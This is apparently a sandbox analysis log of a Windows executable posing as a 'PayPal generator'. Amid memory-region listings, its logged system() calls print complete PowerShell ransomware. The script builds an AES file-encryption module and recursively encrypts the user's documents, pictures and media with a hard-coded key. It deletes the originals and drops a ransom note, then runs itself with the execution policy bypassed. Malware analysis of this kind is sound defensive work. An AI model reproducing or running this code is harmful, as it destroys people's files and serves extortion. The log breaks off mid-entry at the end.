# Flog Txt Version 1 # Analyzer Version: 2.3.2 # Analyzer Build Date: Jan 8 2019 16:19:15 # Log Creation Date: 07.02.2019 19:10:17.626 Process: id = "1" image_name = "paypal-generator-2019.exe" filename = "c:\\users\\ciihmnxmn6ps\\desktop\\paypal-generator-2019.exe" page_root = "0x2baae000" os_pid = "0xc48" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe\" " cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013da5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3 start_va = 0x40000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4 start_va = 0x60000 end_va = 0x9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 5 start_va = 0xa0000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 6 start_va = 0x2a0000 end_va = 0x2a3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 7 start_va = 0x2b0000 end_va = 0x2b1fff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 8 start_va = 0x400000 end_va = 0x457fff entry_point = 0x400000 region_type = mapped_file name = "paypal-generator-2019.exe" filename = "\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\paypal-generator-2019.exe") Region: id = 9 start_va = 0x776b0000 end_va = 0x77828fff entry_point = 0x776b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 10 start_va = 0x7ffb0000 end_va = 0x7ffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 11 start_va = 0x7ffdb000 end_va = 0x7ffddfff entry_point = 0x0 region_type = private name = "private_0x000000007ffdb000" filename = "" Region: id = 12 start_va = 0x7ffde000 end_va = 0x7ffdefff entry_point = 0x0 region_type = private name = "private_0x000000007ffde000" filename = "" Region: id = 13 start_va = 0x7ffdf000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007ffdf000" filename = "" Region: id = 14 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 15 start_va = 0x7fff0000 end_va = 0x7ffc57b4ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 16 start_va = 0x7ffc57b50000 end_va = 0x7ffc57d11fff entry_point = 0x7ffc57b50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 17 start_va = 0x7ffc57d12000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffc57d12000" filename = "" Region: id = 157 start_va = 0x650000 end_va = 0x65ffff entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 158 start_va = 0x5bab0000 end_va = 0x5bb22fff entry_point = 0x5bab0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 159 start_va = 0x5bb30000 end_va = 0x5bb7efff entry_point = 0x5bb30000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 160 start_va = 0x5baa0000 end_va = 0x5baa7fff entry_point = 0x5baa0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 161 start_va = 0x4b0000 end_va = 0x5affff entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 162 start_va = 0x74f40000 end_va = 0x7502ffff entry_point = 0x74f40000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 163 start_va = 0x75190000 end_va = 0x75305fff entry_point = 0x75190000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 239 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 240 start_va = 0x2c0000 end_va = 0x37dfff entry_point = 0x2c0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 241 start_va = 0x746b0000 end_va = 0x74740fff entry_point = 0x746b0000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 242 start_va = 0x7feb0000 end_va = 0x7ffaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 243 start_va = 0x20000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 244 start_va = 0x380000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 245 start_va = 0x660000 end_va = 0x85ffff entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 246 start_va = 0x75030000 end_va = 0x7517cfff entry_point = 0x75030000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 247 start_va = 0x76c70000 end_va = 0x76daffff entry_point = 0x76c70000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 248 start_va = 0x76f20000 end_va = 0x76fddfff entry_point = 0x76f20000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 249 start_va = 0x7ffd8000 end_va = 0x7ffdafff entry_point = 0x0 region_type = private name = "private_0x000000007ffd8000" filename = "" Region: id = 250 start_va = 0x630000 end_va = 0x63ffff entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 251 start_va = 0x860000 end_va = 0x9e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 252 start_va = 0x74df0000 end_va = 0x74f0ffff entry_point = 0x74df0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 253 start_va = 0x74f10000 end_va = 0x74f3afff entry_point = 0x74f10000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 254 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 255 start_va = 0x3c0000 end_va = 0x3c0fff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 256 start_va = 0x9f0000 end_va = 0xb70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009f0000" filename = "" Region: id = 257 start_va = 0xb80000 end_va = 0x1f7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Thread: id = 1 os_tid = 0xc38 [0047.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x29ff48 | out: lpSystemTimeAsFileTime=0x29ff48*(dwLowDateTime=0xdf9be236, dwHighDateTime=0x1d4bf18)) [0047.613] GetCurrentProcessId () returned 0xc48 [0047.613] GetCurrentThreadId () returned 0xc38 [0047.613] GetTickCount () returned 0x1fcca [0047.613] QueryPerformanceCounter (in: lpPerformanceCount=0x29ff50 | out: lpPerformanceCount=0x29ff50*=1813027600000) returned 1 [0047.614] __set_app_type (_Type=0x1) [0047.614] __p__fmode () returned 0x76fd4d6c [0047.614] __getmainargs (in: _Argc=0x40b01c, _Argv=0x40b018, _Env=0x40b014, _DoWildCard=0, _StartInfo=0x40b004 | out: _Argc=0x40b01c, _Argv=0x40b018, _Env=0x40b014) returned 0 [0047.614] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x401db0) returned 0x0 [0047.614] __p__acmdln () returned 0x76fd4bac*="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe\" " [0047.614] strlen (_Str="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0047.614] _onexit (_Func=0x401500) returned 0x401500 [0047.614] _onexit (_Func=0x4015d0) returned 0x4015d0 [0047.615] GetConsoleWindow () returned 0x8013e [0047.616] ShowWindow (hWnd=0x8013e, nCmdShow=0) returned 1 [0047.621] system (_Command="cmd.exe /c mkdir %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher & cd %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher & echo function New-CryptographyKey() { > Cipher.psm1 & echo [CmdletBinding()] >> Cipher.psm1 & echo [OutputType([System.Security.SecureString])] >> Cipher.psm1 & echo [OutputType([String], ParameterSetName='PlainText')] >> Cipher.psm1 & echo Param([Parameter(Mandatory=$false, Position=1)] >> Cipher.psm1 & echo [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] >> Cipher.psm1 & echo [String]$Algorithm='AES', >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=2)] >> Cipher.psm1 & echo [Int]$KeySize, >> Cipher.psm1 & echo [Parameter(ParameterSetName='PlainText')] >> Cipher.psm1 & echo [Switch]$AsPlainText) >> Cipher.psm1 & echo Process { >> Cipher.psm1 & echo try { >> Cipher.psm1 & echo $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) >> Cipher.psm1 & echo if($PSBoundParameters.ContainsKey('KeySize')){ >> Cipher.psm1 & echo $Crypto.KeySize = $KeySize } >> Cipher.psm1 & echo $Crypto.GenerateKey() >> Cipher.psm1 & echo if($AsPlainText) { >> Cipher.psm1 & echo return [System.Convert]::ToBase64String($Crypto.Key) } >> Cipher.psm1 & echo else { >> Cipher.psm1 & echo return [System.Convert]::ToBase64String($Crypto.Key) ^| ConvertTo-SecureString -AsPlainText -Force } } >> Cipher.psm1 & echo catch { Write-Error $_ } } } >> Cipher.psm1 & echo Function Protect-File { >> Cipher.psm1 & echo [CmdletBinding(DefaultParameterSetName='SecureString')] >> Cipher.psm1 & echo [OutputType([System.IO.FileInfo[]])] >> Cipher.psm1 & echo Param([Parameter(Mandatory=$true, Position=1, ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] >> Cipher.psm1 & echo [Alias('PSPath','LiteralPath')] >> Cipher.psm1 & echo [string[]]$FileName, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=2)] >> Cipher.psm1 & echo [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] >> Cipher.psm1 & echo [String]$Algorithm = 'AES', >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=3, ParameterSetName='SecureString')] >> Cipher.psm1 & echo [System.Security.SecureString]$Key = (New-CryptographyKey -Algorithm $Algorithm), >> Cipher.psm1 & echo [Parameter(Mandatory=$true, Position=3, ParameterSetName='PlainText')] >> Cipher.psm1 & echo [String]$KeyAsPlainText, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=4)] >> Cipher.psm1 & echo [System.Security.Cryptography.CipherMode]$CipherMode, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=5)] >> Cipher.psm1 & echo [System.Security.Cryptography.PaddingMode]$PaddingMode, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=6)] >> Cipher.psm1 & echo [String]$Suffix = \".$Algorithm\", >> Cipher.psm1 & echo [Parameter()] >> Cipher.psm1 & echo [Switch]$RemoveSource) >> Cipher.psm1 & echo Begin { try { >> Cipher.psm1 & echo if($PSCmdlet.ParameterSetName -eq 'PlainText') { >> Cipher.psm1 & echo $Key = $KeyAsPlainText ^| ConvertTo-SecureString -AsPlainText -Force} >> Cipher.psm1 & echo $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Key) >> Cipher.psm1 & echo $EncryptionKey = [System.Convert]::FromBase64String([System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)) >> Cipher.psm1 & echo $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) >> Cipher.psm1 & echo if($PSBoundParameters.ContainsKey('CipherMode')){ >> Cipher.psm1 & echo $Crypto.Mode = $CipherMode } >> Cipher.psm1 & echo if($PSBoundParameters.ContainsKey('PaddingMode')){ >> Cipher.psm1 & echo $Crypto.Padding = $PaddingMode } >> Cipher.psm1 & echo $Crypto.KeySize = $EncryptionKey.Length*8 >> Cipher.psm1 & echo $Crypto.Key = $EncryptionKey } >> Cipher.psm1 & echo Catch { Write-Error $_ -ErrorAction Stop } } >> Cipher.psm1 & echo Process { >> Cipher.psm1 & echo $Files = Get-Item -LiteralPath $FileName >> Cipher.psm1 & echo ForEach($File in $Files) { $DestinationFile = $File.FullName + $Suffix >> Cipher.psm1 & echo Try { >> Cipher.psm1 & echo $FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open) >> Cipher.psm1 & echo $FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create) >> Cipher.psm1 & echo $Crypto.GenerateIV() >> Cipher.psm1 & echo $FileStreamWriter.Write([System.BitConverter]::GetBytes($Crypto.IV.Length), 0, 4) >> Cipher.psm1 & echo $FileStreamWriter.Write($Crypto.IV, 0, $Crypto.IV.Length) >> Cipher.psm1 & echo $Transform = $Crypto.CreateEncryptor() >> Cipher.psm1 & echo $CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write) >> Cipher.psm1 & echo $FileStreamReader.CopyTo($CryptoStream) >> Cipher.psm1 & echo $CryptoStream.FlushFinalBlock() >> Cipher.psm1 & echo $CryptoStream.Close() >> Cipher.psm1 & echo $FileStreamReader.Close() >> Cipher.psm1 & echo $FileStreamWriter.Close() >> Cipher.psm1 & echo if($RemoveSource){Remove-Item -LiteralPath $File.FullName} >> Cipher.psm1 & echo $result = Get-Item $DestinationFile >> Cipher.psm1 & echo $result ^| Add-Member -MemberType NoteProperty -Name SourceFile -Value $File.FullName >> Cipher.psm1 & echo $result ^| Add-Member -MemberType NoteProperty -Name Algorithm -Value $Algorithm >> Cipher.psm1 & echo $result ^| Add-Member -MemberType NoteProperty -Name Key -Value $Key >> Cipher.psm1 & echo $result ^| Add-Member -MemberType NoteProperty -Name CipherMode -Value $Crypto.Mode >> Cipher.psm1 & echo $result ^| Add-Member -MemberType NoteProperty -Name PaddingMode -Value $Crypto.Padding >> Cipher.psm1 & echo $result } >> Cipher.psm1 & echo Catch { Write-Error $_ >> Cipher.psm1 & echo If($FileStreamWriter) >> Cipher.psm1 & echo { $FileStreamWriter.Close() >> Cipher.psm1 & echo Remove-Item -LiteralPath $DestinationFile -Force } >> Cipher.psm1 & echo Continue >> Cipher.psm1 & echo } Finally { if($CryptoStream){$CryptoStream.Close()} >> Cipher.psm1 & echo if($FileStreamReader){$FileStreamReader.Close()} >> Cipher.psm1 & echo if($FileStreamWriter){$FileStreamWriter.Close()} } } } } >> Cipher.psm1 & echo Import-Module Cipher > cry.ps1 & echo $files = get-childitem $home -recurse -Include *.gif, *.jpg, *.xls, *.doc, *.pdf, *.wav, *.ppt, *.txt, *.png, *.bmp, *.mp3, *.mp4, *.avi ^| where {^! $_.PSIsContainer} >> cry.ps1 & echo foreach ($file in $files) { Protect-File $file -Algorithm AES -KeyAsPlainText YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTA2M2I= -Suffix '.locked' -RemoveSource } >> cry.ps1 & echo echo 'Your personal files have been encrypted, send an email to pay.ransom@protonmail.com to recover them. Your ID: 9a74-e2cf-ca12' ^> $home\\Desktop\\Readme_now.txt >> cry.ps1 & echo start $home\\Desktop\\Readme_now.txt >> cry.ps1 & exit") returned 0 [0049.547] system (_Command="cmd.exe /c cd %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher & echo Remove-Item -path $home\\Documents\\WindowsPowerShell\\Modules\\Cipher\\* >> %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1 & powershell -ExecutionPolicy ByPass -File %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1 & exit") returned 0 [0145.709] exit (_Code=0) Thread: id = 6 os_tid = 0xca8 Process: id = "2" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x2c838000" os_pid = "0xc30" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xc48" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013da5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 164 start_va = 0x7ffd4000 end_va = 0x7ffd4fff entry_point = 0x0 region_type = private name = "private_0x000000007ffd4000" filename = "" Region: id = 165 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 166 start_va = 0xdc820f0000 end_va = 0xdc8210ffff entry_point = 0x0 region_type = private name = "private_0x000000dc820f0000" filename = "" Region: id = 167 start_va = 0xdc82110000 end_va = 0xdc82123fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000dc82110000" filename = "" Region: id = 168 start_va = 0xdc82130000 end_va = 0xdc8216ffff entry_point = 0x0 region_type = private name = "private_0x000000dc82130000" filename = "" Region: id = 169 start_va = 0x7df5ffa70000 end_va = 0x7ff5ffa6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffa70000" filename = "" Region: id = 170 start_va = 0x7ff7d6090000 end_va = 0x7ff7d60b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7d6090000" filename = "" Region: id = 171 start_va = 0x7ff7d60b6000 end_va = 0x7ff7d60b6fff entry_point = 0x0 region_type = private name = "private_0x00007ff7d60b6000" filename = "" Region: id = 172 start_va = 0x7ff7d60be000 end_va = 0x7ff7d60bffff entry_point = 0x0 region_type = private name = "private_0x00007ff7d60be000" filename = "" Region: id = 173 start_va = 0x7ff7d6b10000 end_va = 0x7ff7d6b20fff entry_point = 0x7ff7d6b10000 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 174 start_va = 0x7ffc57b50000 end_va = 0x7ffc57d11fff entry_point = 0x7ffc57b50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 175 start_va = 0xdc82260000 end_va = 0xdc8235ffff entry_point = 0x0 region_type = private name = "private_0x000000dc82260000" filename = "" Region: id = 176 start_va = 0x7ffc55040000 end_va = 0x7ffc5521cfff entry_point = 0x7ffc55040000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 177 start_va = 0x7ffc55800000 end_va = 0x7ffc558acfff entry_point = 0x7ffc55800000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 178 start_va = 0xdc820f0000 end_va = 0xdc820fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000dc820f0000" filename = "" Region: id = 179 start_va = 0xdc82170000 end_va = 0xdc8222dfff entry_point = 0xdc82170000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 180 start_va = 0xdc82360000 end_va = 0xdc8239ffff entry_point = 0x0 region_type = private name = "private_0x000000dc82360000" filename = "" Region: id = 181 start_va = 0x7ff7d5f90000 end_va = 0x7ff7d608ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7d5f90000" filename = "" Region: id = 182 start_va = 0x7ff7d60bc000 end_va = 0x7ff7d60bdfff entry_point = 0x0 region_type = private name = "private_0x00007ff7d60bc000" filename = "" Region: id = 183 start_va = 0x7ffc552c0000 end_va = 0x7ffc5535cfff entry_point = 0x7ffc552c0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 184 start_va = 0xdc82100000 end_va = 0xdc82106fff entry_point = 0x0 region_type = private name = "private_0x000000dc82100000" filename = "" Region: id = 185 start_va = 0xdc82230000 end_va = 0xdc82230fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000dc82230000" filename = "" Region: id = 186 start_va = 0xdc82240000 end_va = 0xdc82246fff entry_point = 0x0 region_type = private name = "private_0x000000dc82240000" filename = "" Region: id = 187 start_va = 0xdc82550000 end_va = 0xdc8255ffff entry_point = 0x0 region_type = private name = "private_0x000000dc82550000" filename = "" Region: id = 188 start_va = 0x7ffc4d480000 end_va = 0x7ffc4d4d2fff entry_point = 0x7ffc4d480000 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 189 start_va = 0x7ffc511b0000 end_va = 0x7ffc51332fff entry_point = 0x7ffc511b0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 190 start_va = 0x7ffc55280000 end_va = 0x7ffc552b5fff entry_point = 0x7ffc55280000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 191 start_va = 0x7ffc55380000 end_va = 0x7ffc554dbfff entry_point = 0x7ffc55380000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 192 start_va = 0x7ffc554e0000 end_va = 0x7ffc5562dfff entry_point = 0x7ffc554e0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 193 start_va = 0x7ffc55910000 end_va = 0x7ffc559cdfff entry_point = 0x7ffc55910000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 194 start_va = 0x7ffc56f10000 end_va = 0x7ffc57094fff entry_point = 0x7ffc56f10000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 195 start_va = 0x7ffc570a0000 end_va = 0x7ffc571c5fff entry_point = 0x7ffc570a0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 196 start_va = 0x7ffc571d0000 end_va = 0x7ffc5744bfff entry_point = 0x7ffc571d0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 197 start_va = 0x7ffc57540000 end_va = 0x7ffc5759afff entry_point = 0x7ffc57540000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 198 start_va = 0x7ffc57750000 end_va = 0x7ffc57890fff entry_point = 0x7ffc57750000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 199 start_va = 0xdc82250000 end_va = 0xdc82250fff entry_point = 0x0 region_type = private name = "private_0x000000dc82250000" filename = "" Region: id = 200 start_va = 0xdc823a0000 end_va = 0xdc82527fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000dc823a0000" filename = "" Region: id = 201 start_va = 0xdc82530000 end_va = 0xdc82530fff entry_point = 0x0 region_type = private name = "private_0x000000dc82530000" filename = "" Region: id = 202 start_va = 0xdc82560000 end_va = 0xdc826e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000dc82560000" filename = "" Region: id = 203 start_va = 0xdc826f0000 end_va = 0xdc83aeffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000dc826f0000" filename = "" Region: id = 204 start_va = 0xdc83af0000 end_va = 0xdc83b2ffff entry_point = 0x0 region_type = private name = "private_0x000000dc83af0000" filename = "" Region: id = 205 start_va = 0xdc83bd0000 end_va = 0xdc83bdffff entry_point = 0x0 region_type = private name = "private_0x000000dc83bd0000" filename = "" Region: id = 206 start_va = 0x7ff7d60ba000 end_va = 0x7ff7d60bbfff entry_point = 0x0 region_type = private name = "private_0x00007ff7d60ba000" filename = "" Region: id = 207 start_va = 0x7ffc54580000 end_va = 0x7ffc54592fff entry_point = 0x7ffc54580000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 208 start_va = 0x7ffc545a0000 end_va = 0x7ffc545e9fff entry_point = 0x7ffc545a0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 209 start_va = 0x7ffc54610000 end_va = 0x7ffc5461efff entry_point = 0x7ffc54610000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 210 start_va = 0x7ffc54670000 end_va = 0x7ffc54c97fff entry_point = 0x7ffc54670000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 211 start_va = 0x7ffc54f80000 end_va = 0x7ffc55032fff entry_point = 0x7ffc54f80000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 212 start_va = 0x7ffc559d0000 end_va = 0x7ffc56ef4fff entry_point = 0x7ffc559d0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 213 start_va = 0x7ffc578a0000 end_va = 0x7ffc578f0fff entry_point = 0x7ffc578a0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 214 start_va = 0x7ffc57aa0000 end_va = 0x7ffc57b45fff entry_point = 0x7ffc57aa0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 215 start_va = 0x7ffc52d70000 end_va = 0x7ffc52e05fff entry_point = 0x7ffc52d70000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 216 start_va = 0xdc82130000 end_va = 0xdc8216ffff entry_point = 0x0 region_type = private name = "private_0x000000dc82130000" filename = "" Region: id = 217 start_va = 0xdc82540000 end_va = 0xdc82543fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000dc82540000" filename = "" Region: id = 218 start_va = 0xdc83b70000 end_va 